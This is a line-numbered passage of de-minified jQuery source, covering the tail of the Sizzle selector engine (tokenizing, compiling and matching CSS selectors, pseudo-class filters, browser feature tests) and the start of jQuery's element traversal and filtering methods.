966 if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
967 return ret
968 }
969 } catch (e) {}
970 }
971 return Sizzle(expr, document, null, [elem]).length > 0
972 };
973 Sizzle.contains = function(context, elem) {
974 if ((context.ownerDocument || context) !== document) {
975 setDocument(context)
976 }
977 return contains(context, elem)
978 };
979 Sizzle.attr = function(elem, name) {
980 if ((elem.ownerDocument || elem) !== document) {
981 setDocument(elem)
982 }
983 var fn = Expr.attrHandle[name.toLowerCase()],
984 val = fn && hasOwn.call(Expr.attrHandle, name.toLowerCase()) ? fn(elem, name, !documentIsHTML) : undefined;
985 return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
986 };
987 Sizzle.error = function(msg) {
988 throw new Error("Syntax error, unrecognized expression: " + msg);
989 };
990 Sizzle.uniqueSort = function(results) {
991 var elem, duplicates = [],
992 j = 0,
993 i = 0;
994 hasDuplicate = !support.detectDuplicates;
995 sortInput = !support.sortStable && results.slice(0);
996 results.sort(sortOrder);
997 if (hasDuplicate) {
998 while ((elem = results[i++])) {
999 if (elem === results[i]) {
1000 j = duplicates.push(i)
1001 }
1002 }
1003 while (j--) {
1004 results.splice(duplicates[j], 1)
1005 }
1006 }
1007 sortInput = null;
1008 return results
1009 };
1010 getText = Sizzle.getText = function(elem) {
1011 var node, ret = "",
1012 i = 0,
1013 nodeType = elem.nodeType;
1014 if (!nodeType) {
1015 while ((node = elem[i++])) {
1016 ret += getText(node)
1017 }
1018 } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
1019 if (typeof elem.textContent === "string") {
1020 return elem.textContent
1021 } else {
1022 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1023 ret += getText(elem)
1024 }
1025 }
1026 } else if (nodeType === 3 || nodeType === 4) {
1027 return elem.nodeValue
1028 }
1029 return ret
1030 };
1031 Expr = Sizzle.selectors = {
1032 cacheLength: 50,
1033 createPseudo: markFunction,
1034 match: matchExpr,
1035 attrHandle: {},
1036 find: {},
1037 relative: {
1038 ">": {
1039 dir: "parentNode",
1040 first: true
1041 },
1042 " ": {
1043 dir: "parentNode"
1044 },
1045 "+": {
1046 dir: "previousSibling",
1047 first: true
1048 },
1049 "~": {
1050 dir: "previousSibling"
1051 }
1052 },
1053 preFilter: {
1054 "ATTR": function(match) {
1055 match[1] = match[1].replace(runescape, funescape);
1056 match[3] = (match[3] || match[4] || match[5] || "").replace(runescape, funescape);
1057 if (match[2] === "~=") {
1058 match[3] = " " + match[3] + " "
1059 }
1060 return match.slice(0, 4)
1061 },
1062 "CHILD": function(match) {
1063 match[1] = match[1].toLowerCase();
1064 if (match[1].slice(0, 3) === "nth") {
1065 if (!match[3]) {
1066 Sizzle.error(match[0])
1067 }
1068 match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === "even" || match[3] === "odd"));
1069 match[5] = +((match[7] + match[8]) || match[3] === "odd")
1070 } else if (match[3]) {
1071 Sizzle.error(match[0])
1072 }
1073 return match
1074 },
1075 "PSEUDO": function(match) {
1076 var excess, unquoted = !match[6] && match[2];
1077 if (matchExpr["CHILD"].test(match[0])) {
1078 return null
1079 }
1080 if (match[3]) {
1081 match[2] = match[4] || match[5] || ""
1082 } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(")", unquoted.length - excess) - unquoted.length)) {
1083 match[0] = match[0].slice(0, excess);
1084 match[2] = unquoted.slice(0, excess)
1085 }
1086 return match.slice(0, 3)
1087 }
1088 },
1089 filter: {
1090 "TAG": function(nodeNameSelector) {
1091 var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
1092 return nodeNameSelector === "*" ? function() {
1093 return true
1094 } : function(elem) {
1095 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName
1096 }
1097 },
1098 "CLASS": function(className) {
1099 var pattern = classCache[className + " "];
1100 return pattern || (pattern = new RegExp("(^|" + whitespace + ")" + className + "(" + whitespace + "|$)")) && classCache(className, function(elem) {
1101 return pattern.test(typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "")
1102 })
1103 },
1104 "ATTR": function(name, operator, check) {
1105 return function(elem) {
1106 var result = Sizzle.attr(elem, name);
1107 if (result == null) {
1108 return operator === "!="
1109 }
1110 if (!operator) {
1111 return true
1112 }
1113 result += "";
1114 return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf(check) === 0 : operator === "*=" ? check && result.indexOf(check) > -1 : operator === "$=" ? check && result.slice(-check.length) === check : operator === "~=" ? (" " + result.replace(rwhitespace, " ") + " ").indexOf(check) > -1 : operator === "|=" ? result === check || result.slice(0, check.length + 1) === check + "-" : false
1115 }
1116 },
1117 "CHILD": function(type, what, argument, first, last) {
1118 var simple = type.slice(0, 3) !== "nth",
1119 forward = type.slice(-4) !== "last",
1120 ofType = what === "of-type";
1121 return first === 1 && last === 0 ? function(elem) {
1122 return !!elem.parentNode
1123 } : function(elem, context, xml) {
1124 var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling",
1125 parent = elem.parentNode,
1126 name = ofType && elem.nodeName.toLowerCase(),
1127 useCache = !xml && !ofType;
1128 if (parent) {
1129 if (simple) {
1130 while (dir) {
1131 node = elem;
1132 while ((node = node[dir])) {
1133 if (ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) {
1134 return false
1135 }
1136 }
1137 start = dir = type === "only" && !start && "nextSibling"
1138 }
1139 return true
1140 }
1141 start = [forward ? parent.firstChild : parent.lastChild];
1142 if (forward && useCache) {
1143 outerCache = parent[expando] || (parent[expando] = {});
1144 cache = outerCache[type] || [];
1145 nodeIndex = cache[0] === dirruns && cache[1];
1146 diff = cache[0] === dirruns && cache[2];
1147 node = nodeIndex && parent.childNodes[nodeIndex];
1148 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1149 if (node.nodeType === 1 && ++diff && node === elem) {
1150 outerCache[type] = [dirruns, nodeIndex, diff];
1151 break
1152 }
1153 }
1154 } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
1155 diff = cache[1]
1156 } else {
1157 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1158 if ((ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) && ++diff) {
1159 if (useCache) {
1160 (node[expando] || (node[expando] = {}))[type] = [dirruns, diff]
1161 }
1162 if (node === elem) {
1163 break
1164 }
1165 }
1166 }
1167 }
1168 diff -= last;
1169 return diff === first || (diff % first === 0 && diff / first >= 0)
1170 }
1171 }
1172 },
1173 "PSEUDO": function(pseudo, argument) {
1174 var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error("unsupported pseudo: " + pseudo);
1175 if (fn[expando]) {
1176 return fn(argument)
1177 }
1178 if (fn.length > 1) {
1179 args = [pseudo, pseudo, "", argument];
1180 return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function(seed, matches) {
1181 var idx, matched = fn(seed, argument),
1182 i = matched.length;
1183 while (i--) {
1184 idx = indexOf(seed, matched[i]);
1185 seed[idx] = !(matches[idx] = matched[i])
1186 }
1187 }) : function(elem) {
1188 return fn(elem, 0, args)
1189 }
1190 }
1191 return fn
1192 }
1193 },
1194 pseudos: {
1195 "not": markFunction(function(selector) {
1196 var input = [],
1197 results = [],
1198 matcher = compile(selector.replace(rtrim, "$1"));
1199 return matcher[expando] ? markFunction(function(seed, matches, context, xml) {
1200 var elem, unmatched = matcher(seed, null, xml, []),
1201 i = seed.length;
1202 while (i--) {
1203 if ((elem = unmatched[i])) {
1204 seed[i] = !(matches[i] = elem)
1205 }
1206 }
1207 }) : function(elem, context, xml) {
1208 input[0] = elem;
1209 matcher(input, null, xml, results);
1210 input[0] = null;
1211 return !results.pop()
1212 }
1213 }),
1214 "has": markFunction(function(selector) {
1215 return function(elem) {
1216 return Sizzle(selector, elem).length > 0
1217 }
1218 }),
1219 "contains": markFunction(function(text) {
1220 text = text.replace(runescape, funescape);
1221 return function(elem) {
1222 return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1
1223 }
1224 }),
1225 "lang": markFunction(function(lang) {
1226 if (!ridentifier.test(lang || "")) {
1227 Sizzle.error("unsupported lang: " + lang)
1228 }
1229 lang = lang.replace(runescape, funescape).toLowerCase();
1230 return function(elem) {
1231 var elemLang;
1232 do {
1233 if ((elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang"))) {
1234 elemLang = elemLang.toLowerCase();
1235 return elemLang === lang || elemLang.indexOf(lang + "-") === 0
1236 }
1237 } while ((elem = elem.parentNode) && elem.nodeType === 1);
1238 return false
1239 }
1240 }),
1241 "target": function(elem) {
1242 var hash = window.location && window.location.hash;
1243 return hash && hash.slice(1) === elem.id
1244 },
1245 "root": function(elem) {
1246 return elem === docElem
1247 },
1248 "focus": function(elem) {
1249 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex)
1250 },
1251 "enabled": function(elem) {
1252 return elem.disabled === false
1253 },
1254 "disabled": function(elem) {
1255 return elem.disabled === true
1256 },
1257 "checked": function(elem) {
1258 var nodeName = elem.nodeName.toLowerCase();
1259 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected)
1260 },
1261 "selected": function(elem) {
1262 if (elem.parentNode) {
1263 elem.parentNode.selectedIndex
1264 }
1265 return elem.selected === true
1266 },
1267 "empty": function(elem) {
1268 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1269 if (elem.nodeType < 6) {
1270 return false
1271 }
1272 }
1273 return true
1274 },
1275 "parent": function(elem) {
1276 return !Expr.pseudos["empty"](elem)
1277 },
1278 "header": function(elem) {
1279 return rheader.test(elem.nodeName)
1280 },
1281 "input": function(elem) {
1282 return rinputs.test(elem.nodeName)
1283 },
1284 "button": function(elem) {
1285 var name = elem.nodeName.toLowerCase();
1286 return name === "input" && elem.type === "button" || name === "button"
1287 },
1288 "text": function(elem) {
1289 var attr;
1290 return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ((attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text")
1291 },
1292 "first": createPositionalPseudo(function() {
1293 return [0]
1294 }),
1295 "last": createPositionalPseudo(function(matchIndexes, length) {
1296 return [length - 1]
1297 }),
1298 "eq": createPositionalPseudo(function(matchIndexes, length, argument) {
1299 return [argument < 0 ? argument + length : argument]
1300 }),
1301 "even": createPositionalPseudo(function(matchIndexes, length) {
1302 var i = 0;
1303 for (; i < length; i += 2) {
1304 matchIndexes.push(i)
1305 }
1306 return matchIndexes
1307 }),
1308 "odd": createPositionalPseudo(function(matchIndexes, length) {
1309 var i = 1;
1310 for (; i < length; i += 2) {
1311 matchIndexes.push(i)
1312 }
1313 return matchIndexes
1314 }),
1315 "lt": createPositionalPseudo(function(matchIndexes, length, argument) {
1316 var i = argument < 0 ? argument + length : argument;
1317 for (; --i >= 0;) {
1318 matchIndexes.push(i)
1319 }
1320 return matchIndexes
1321 }),
1322 "gt": createPositionalPseudo(function(matchIndexes, length, argument) {
1323 var i = argument < 0 ? argument + length : argument;
1324 for (; ++i < length;) {
1325 matchIndexes.push(i)
1326 }
1327 return matchIndexes
1328 })
1329 }
1330 };
1331 Expr.pseudos["nth"] = Expr.pseudos["eq"];
1332 for (i in {
1333 radio: true,
1334 checkbox: true,
1335 file: true,
1336 password: true,
1337 image: true
1338 }) {
1339 Expr.pseudos[i] = createInputPseudo(i)
1340 }
1341 for (i in {
1342 submit: true,
1343 reset: true
1344 }) {
1345 Expr.pseudos[i] = createButtonPseudo(i)
1346 }
1347
1348 function setFilters() {}
1349 setFilters.prototype = Expr.filters = Expr.pseudos;
1350 Expr.setFilters = new setFilters();
1351 tokenize = Sizzle.tokenize = function(selector, parseOnly) {
1352 var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + " "];
1353 if (cached) {
1354 return parseOnly ? 0 : cached.slice(0)
1355 }
1356 soFar = selector;
1357 groups = [];
1358 preFilters = Expr.preFilter;
1359 while (soFar) {
1360 if (!matched || (match = rcomma.exec(soFar))) {
1361 if (match) {
1362 soFar = soFar.slice(match[0].length) || soFar
1363 }
1364 groups.push((tokens = []))
1365 }
1366 matched = false;
1367 if ((match = rcombinators.exec(soFar))) {
1368 matched = match.shift();
1369 tokens.push({
1370 value: matched,
1371 type: match[0].replace(rtrim, " ")
1372 });
1373 soFar = soFar.slice(matched.length)
1374 }
1375 for (type in Expr.filter) {
1376 if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
1377 matched = match.shift();
1378 tokens.push({
1379 value: matched,
1380 type: type,
1381 matches: match
1382 });
1383 soFar = soFar.slice(matched.length)
1384 }
1385 }
1386 if (!matched) {
1387 break
1388 }
1389 }
1390 return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0)
1391 };
1392
1393 function toSelector(tokens) {
1394 var i = 0,
1395 len = tokens.length,
1396 selector = "";
1397 for (; i < len; i++) {
1398 selector += tokens[i].value
1399 }
1400 return selector
1401 }
1402
1403 function addCombinator(matcher, combinator, base) {
1404 var dir = combinator.dir,
1405 checkNonElements = base && dir === "parentNode",
1406 doneName = done++;
1407 return combinator.first ? function(elem, context, xml) {
1408 while ((elem = elem[dir])) {
1409 if (elem.nodeType === 1 || checkNonElements) {
1410 return matcher(elem, context, xml)
1411 }
1412 }
1413 } : function(elem, context, xml) {
1414 var oldCache, outerCache, newCache = [dirruns, doneName];
1415 if (xml) {
1416 while ((elem = elem[dir])) {
1417 if (elem.nodeType === 1 || checkNonElements) {
1418 if (matcher(elem, context, xml)) {
1419 return true
1420 }
1421 }
1422 }
1423 } else {
1424 while ((elem = elem[dir])) {
1425 if (elem.nodeType === 1 || checkNonElements) {
1426 outerCache = elem[expando] || (elem[expando] = {});
1427 if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
1428 return (newCache[2] = oldCache[2])
1429 } else {
1430 outerCache[dir] = newCache;
1431 if ((newCache[2] = matcher(elem, context, xml))) {
1432 return true
1433 }
1434 }
1435 }
1436 }
1437 }
1438 }
1439 }
1440
1441 function elementMatcher(matchers) {
1442 return matchers.length > 1 ? function(elem, context, xml) {
1443 var i = matchers.length;
1444 while (i--) {
1445 if (!matchers[i](elem, context, xml)) {
1446 return false
1447 }
1448 }
1449 return true
1450 } : matchers[0]
1451 }
1452
1453 function multipleContexts(selector, contexts, results) {
1454 var i = 0,
1455 len = contexts.length;
1456 for (; i < len; i++) {
1457 Sizzle(selector, contexts[i], results)
1458 }
1459 return results
1460 }
1461
1462 function condense(unmatched, map, filter, context, xml) {
1463 var elem, newUnmatched = [],
1464 i = 0,
1465 len = unmatched.length,
1466 mapped = map != null;
1467 for (; i < len; i++) {
1468 if ((elem = unmatched[i])) {
1469 if (!filter || filter(elem, context, xml)) {
1470 newUnmatched.push(elem);
1471 if (mapped) {
1472 map.push(i)
1473 }
1474 }
1475 }
1476 }
1477 return newUnmatched
1478 }
1479
1480 function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
1481 if (postFilter && !postFilter[expando]) {
1482 postFilter = setMatcher(postFilter)
1483 }
1484 if (postFinder && !postFinder[expando]) {
1485 postFinder = setMatcher(postFinder, postSelector)
1486 }
1487 return markFunction(function(seed, results, context, xml) {
1488 var temp, i, elem, preMap = [],
1489 postMap = [],
1490 preexisting = results.length,
1491 elems = seed || multipleContexts(selector || "*", context.nodeType ? [context] : context, []),
1492 matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems,
1493 matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
1494 if (matcher) {
1495 matcher(matcherIn, matcherOut, context, xml)
1496 }
1497 if (postFilter) {
1498 temp = condense(matcherOut, postMap);
1499 postFilter(temp, [], context, xml);
1500 i = temp.length;
1501 while (i--) {
1502 if ((elem = temp[i])) {
1503 matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem)
1504 }
1505 }
1506 }
1507 if (seed) {
1508 if (postFinder || preFilter) {
1509 if (postFinder) {
1510 temp = [];
1511 i = matcherOut.length;
1512 while (i--) {
1513 if ((elem = matcherOut[i])) {
1514 temp.push((matcherIn[i] = elem))
1515 }
1516 }
1517 postFinder(null, (matcherOut = []), temp, xml)
1518 }
1519 i = matcherOut.length;
1520 while (i--) {
1521 if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf(seed, elem) : preMap[i]) > -1) {
1522 seed[temp] = !(results[temp] = elem)
1523 }
1524 }
1525 }
1526 } else {
1527 matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
1528 if (postFinder) {
1529 postFinder(null, results, matcherOut, xml)
1530 } else {
1531 push.apply(results, matcherOut)
1532 }
1533 }
1534 })
1535 }
1536
1537 function matcherFromTokens(tokens) {
1538 var checkContext, matcher, j, len = tokens.length,
1539 leadingRelative = Expr.relative[tokens[0].type],
1540 implicitRelative = leadingRelative || Expr.relative[" "],
1541 i = leadingRelative ? 1 : 0,
1542 matchContext = addCombinator(function(elem) {
1543 return elem === checkContext
1544 }, implicitRelative, true),
1545 matchAnyContext = addCombinator(function(elem) {
1546 return indexOf(checkContext, elem) > -1
1547 }, implicitRelative, true),
1548 matchers = [function(elem, context, xml) {
1549 var ret = (!leadingRelative && (xml || context !== outermostContext)) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
1550 checkContext = null;
1551 return ret
1552 }];
1553 for (; i < len; i++) {
1554 if ((matcher = Expr.relative[tokens[i].type])) {
1555 matchers = [addCombinator(elementMatcher(matchers), matcher)]
1556 } else {
1557 matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
1558 if (matcher[expando]) {
1559 j = ++i;
1560 for (; j < len; j++) {
1561 if (Expr.relative[tokens[j].type]) {
1562 break
1563 }
1564 }
1565 return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({
1566 value: tokens[i - 2].type === " " ? "*" : ""
1567 })).replace(rtrim, "$1"), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens((tokens = tokens.slice(j))), j < len && toSelector(tokens))
1568 }
1569 matchers.push(matcher)
1570 }
1571 }
1572 return elementMatcher(matchers)
1573 }
1574
1575 function matcherFromGroupMatchers(elementMatchers, setMatchers) {
1576 var bySet = setMatchers.length > 0,
1577 byElement = elementMatchers.length > 0,
1578 superMatcher = function(seed, context, xml, results, outermost) {
1579 var elem, j, matcher, matchedCount = 0,
1580 i = "0",
1581 unmatched = seed && [],
1582 setMatched = [],
1583 contextBackup = outermostContext,
1584 elems = seed || byElement && Expr.find["TAG"]("*", outermost),
1585 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
1586 len = elems.length;
1587 if (outermost) {
1588 outermostContext = context !== document && context
1589 }
1590 for (; i !== len && (elem = elems[i]) != null; i++) {
1591 if (byElement && elem) {
1592 j = 0;
1593 while ((matcher = elementMatchers[j++])) {
1594 if (matcher(elem, context, xml)) {
1595 results.push(elem);
1596 break
1597 }
1598 }
1599 if (outermost) {
1600 dirruns = dirrunsUnique
1601 }
1602 }
1603 if (bySet) {
1604 if ((elem = !matcher && elem)) {
1605 matchedCount--
1606 }
1607 if (seed) {
1608 unmatched.push(elem)
1609 }
1610 }
1611 }
1612 matchedCount += i;
1613 if (bySet && i !== matchedCount) {
1614 j = 0;
1615 while ((matcher = setMatchers[j++])) {
1616 matcher(unmatched, setMatched, context, xml)
1617 }
1618 if (seed) {
1619 if (matchedCount > 0) {
1620 while (i--) {
1621 if (!(unmatched[i] || setMatched[i])) {
1622 setMatched[i] = pop.call(results)
1623 }
1624 }
1625 }
1626 setMatched = condense(setMatched)
1627 }
1628 push.apply(results, setMatched);
1629 if (outermost && !seed && setMatched.length > 0 && (matchedCount + setMatchers.length) > 1) {
1630 Sizzle.uniqueSort(results)
1631 }
1632 }
1633 if (outermost) {
1634 dirruns = dirrunsUnique;
1635 outermostContext = contextBackup
1636 }
1637 return unmatched
1638 };
1639 return bySet ? markFunction(superMatcher) : superMatcher
1640 }
1641 compile = Sizzle.compile = function(selector, match) {
1642 var i, setMatchers = [],
1643 elementMatchers = [],
1644 cached = compilerCache[selector + " "];
1645 if (!cached) {
1646 if (!match) {
1647 match = tokenize(selector)
1648 }
1649 i = match.length;
1650 while (i--) {
1651 cached = matcherFromTokens(match[i]);
1652 if (cached[expando]) {
1653 setMatchers.push(cached)
1654 } else {
1655 elementMatchers.push(cached)
1656 }
1657 }
1658 cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
1659 cached.selector = selector
1660 }
1661 return cached
1662 };
1663 select = Sizzle.select = function(selector, context, results, seed) {
1664 var i, tokens, token, type, find, compiled = typeof selector === "function" && selector,
1665 match = !seed && tokenize((selector = compiled.selector || selector));
1666 results = results || [];
1667 if (match.length === 1) {
1668 tokens = match[0] = match[0].slice(0);
1669 if (tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
1670 context = (Expr.find["ID"](token.matches[0].replace(runescape, funescape), context) || [])[0];
1671 if (!context) {
1672 return results
1673 } else if (compiled) {
1674 context = context.parentNode
1675 }
1676 selector = selector.slice(tokens.shift().value.length)
1677 }
1678 i = matchExpr["needsContext"].test(selector) ? 0 : tokens.length;
1679 while (i--) {
1680 token = tokens[i];
1681 if (Expr.relative[(type = token.type)]) {
1682 break
1683 }
1684 if ((find = Expr.find[type])) {
1685 if ((seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context))) {
1686 tokens.splice(i, 1);
1687 selector = seed.length && toSelector(tokens);
1688 if (!selector) {
1689 push.apply(results, seed);
1690 return results
1691 }
1692 break
1693 }
1694 }
1695 }
1696 }(compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
1697 return results
1698 };
1699 support.sortStable = expando.split("").sort(sortOrder).join("") === expando;
1700 support.detectDuplicates = !!hasDuplicate;
1701 setDocument();
1702 support.sortDetached = assert(function(div1) {
1703 return div1.compareDocumentPosition(document.createElement("div")) & 1
1704 });
1705 if (!assert(function(div) {
1706 div.innerHTML = "<a href='#'></a>";
1707 return div.firstChild.getAttribute("href") === "#"
1708 })) {
1709 addHandle("type|href|height|width", function(elem, name, isXML) {
1710 if (!isXML) {
1711 return elem.getAttribute(name, name.toLowerCase() === "type" ? 1 : 2)
1712 }
1713 })
1714 }
1715 if (!support.attributes || !assert(function(div) {
1716 div.innerHTML = "<input/>";
1717 div.firstChild.setAttribute("value", "");
1718 return div.firstChild.getAttribute("value") === ""
1719 })) {
1720 addHandle("value", function(elem, name, isXML) {
1721 if (!isXML && elem.nodeName.toLowerCase() === "input") {
1722 return elem.defaultValue
1723 }
1724 })
1725 }
1726 if (!assert(function(div) {
1727 return div.getAttribute("disabled") == null
1728 })) {
1729 addHandle(booleans, function(elem, name, isXML) {
1730 var val;
1731 if (!isXML) {
1732 return elem[name] === true ? name.toLowerCase() : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1733 }
1734 })
1735 }
1736 return Sizzle
1737 })(window);
1738 jQuery.find = Sizzle;
1739 jQuery.expr = Sizzle.selectors;
1740 jQuery.expr[":"] = jQuery.expr.pseudos;
1741 jQuery.unique = Sizzle.uniqueSort;
1742 jQuery.text = Sizzle.getText;
1743 jQuery.isXMLDoc = Sizzle.isXML;
1744 jQuery.contains = Sizzle.contains;
1745 var rneedsContext = jQuery.expr.match.needsContext;
1746 var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
1747 var risSimple = /^.[^:#\[\.,]*$/;
1748
1749 function winnow(elements, qualifier, not) {
1750 if (jQuery.isFunction(qualifier)) {
1751 return jQuery.grep(elements, function(elem, i) {
1752 return !!qualifier.call(elem, i, elem) !== not
1753 })
1754 }
1755 if (qualifier.nodeType) {
1756 return jQuery.grep(elements, function(elem) {
1757 return (elem === qualifier) !== not
1758 })
1759 }
1760 if (typeof qualifier === "string") {
1761 if (risSimple.test(qualifier)) {
1762 return jQuery.filter(qualifier, elements, not)
1763 }
1764 qualifier = jQuery.filter(qualifier, elements)
1765 }
1766 return jQuery.grep(elements, function(elem) {
1767 return (jQuery.inArray(elem, qualifier) >= 0) !== not
1768 })
1769 }
1770 jQuery.filter = function(expr, elems, not) {
1771 var elem = elems[0];
1772 if (not) {
1773 expr = ":not(" + expr + ")"
1774 }
1775 return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector(elem, expr) ? [elem] : [] : jQuery.find.matches(expr, jQuery.grep(elems, function(elem) {
1776 return elem.nodeType === 1
1777 }))
1778 };
1779 jQuery.fn.extend({
1780 find: function(selector) {
1781 var i, ret = [],
1782 self = this,
1783 len = self.length;
1784 if (typeof selector !== "string") {
1785 return this.pushStack(jQuery(selector).filter(function() {
1786 for (i = 0; i < len; i++) {
1787 if (jQuery.contains(self[i], this)) {
1788 return true
1789 }
1790 }
1791 }))
1792 }
1793 for (i = 0; i < len; i++) {
1794 jQuery.find(selector, self[i], ret)
1795 }
1796 ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret);
1797 ret.selector = this.selector ? this.selector + " " + selector : selector;
1798 return ret
1799 },
1800 filter: function(selector) {
1801 return this.pushStack(winnow(this, selector || [], false))
1802 },
1803 not: function(selector) {
1804 return this.pushStack(winnow(this, selector || [], true))
1805 },
1806 is: function(selector) {
1807 return !!winnow(this, typeof selector === "string" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length
1808 }
1809 });
1810 var rootjQuery, document = window.document,
1811 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
1812 init = jQuery.fn.init = function(selector, context) {
1813 var match, elem;
1814 if (!selector) {
1815 return this
1816 }
1817 if (typeof selector === "string") {
1818 if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
1819 match = [null, selector, null]
1820 } else {
1821 match = rquickExpr.exec(selector)
1822 }
1823 if (match && (match[1] || !context)) {
1824 if (match[1]) {
1825 context = context instanceof jQuery ? context[0] : context;
1826 jQuery.merge(this, jQuery.parseHTML(match[1], context && context.nodeType ? context.ownerDocument || context : document, true));
1827 if (rsingleTag.test(match[1]) && jQuery.isPlainObject(context)) {
1828 for (match in context) {
1829 if (jQuery.isFunction(this[match])) {
1830 this[match](context[match])
1831 } else {
1832 this.attr(match, context[match])
1833 }
1834 }
1835 }
1836 return this
1837 } else {
1838 elem = document.getElementById(match[2]);
1839 if (elem && elem.parentNode) {
1840 if (elem.id !== match[2]) {
1841 return rootjQuery.find(selector)
1842 }
1843 this.length = 1;
1844 this[0] = elem
1845 }
1846 this.context = document;
1847 this.selector = selector;
1848 return this
1849 }
1850 } else if (!context || context.jquery) {
1851 return (context || rootjQuery).find(selector)
1852 } else {
1853 return this.constructor(context).find(selector)
1854 }
1855 } else if (selector.nodeType) {
1856 this.context = this[0] = selector;
1857 this.length = 1;
1858 return this
1859 } else if (jQuery.isFunction(selector)) {
1860 return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready(selector) : selector(jQuery)
1861 }
1862 if (selector.selector !== undefined) {
1863 this.selector = selector.selector;
1864 this.context = selector.context
1865 }
1866 return jQuery.makeArray(selector, this)
1867 };
1868 init.prototype = jQuery.fn;
1869 rootjQuery = jQuery(document);
1870 var rparentsprev = /^(?:parents|prev(?:Until|All))/,
1871 guaranteedUnique = {
1872 children: true,
1873 contents: true,
1874 next: true,
1875 prev: true
1876 };
1877 jQuery.extend({
1878 dir: function(elem, dir, until) {
1879 var matched = [],
1880 cur = elem[dir];
1881 while (cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery(cur).is(until))) {
1882 if (cur.nodeType === 1) {
1883 matched.push(cur)
1884 }
1885 cur = cur[dir]
1886 }
1887 return matched
1888 },
1889 sibling: function(n, elem) {
1890 var r = [];
1891 for (; n; n = n.nextSibling) {
1892 if (n.nodeType === 1 && n !== elem) {
1893 r.push(n)
1894 }
1895 }
1896 return r
1897 }
1898 });
1899 jQuery.fn.extend({
1900 has: function(target) {
1901 var i, targets = jQuery(target, this),
1902 len = targets.length;
1903 return this.filter(function() {
1904 for (i = 0; i < len; i++) {
1905 if (jQuery.contains(this, targets[i])) {
1906 return true
1907 }
1908 }
1909 })
1910 },
1911 closest: function(selectors, context) {
1912 var cur, i = 0,
1913 l = this.length,
1914 matched = [],
1915 pos = rneedsContext.test(selectors) || typeof selectors !== "string" ? jQuery(selectors, context || this.context) : 0;
1916 for (; i < l; i++) {
1917 for (cur = this[i]; cur && cur !== context; cur = cur.parentNode) {
1918 if (cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors))) {
1919 matched.push(cur);
1920 break
1921 }
1922 }
1923 }
1924 return this.pushStack(matched.length > 1 ? jQuery.unique(matched) : matched)
1925 },
1926 index: function(elem) {
1927 if (!elem) {
1928 return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
1929 }
1930 if (typeof elem === "string") {
1931 return jQuery.inArray(this[0], jQuery(elem))
1932 }
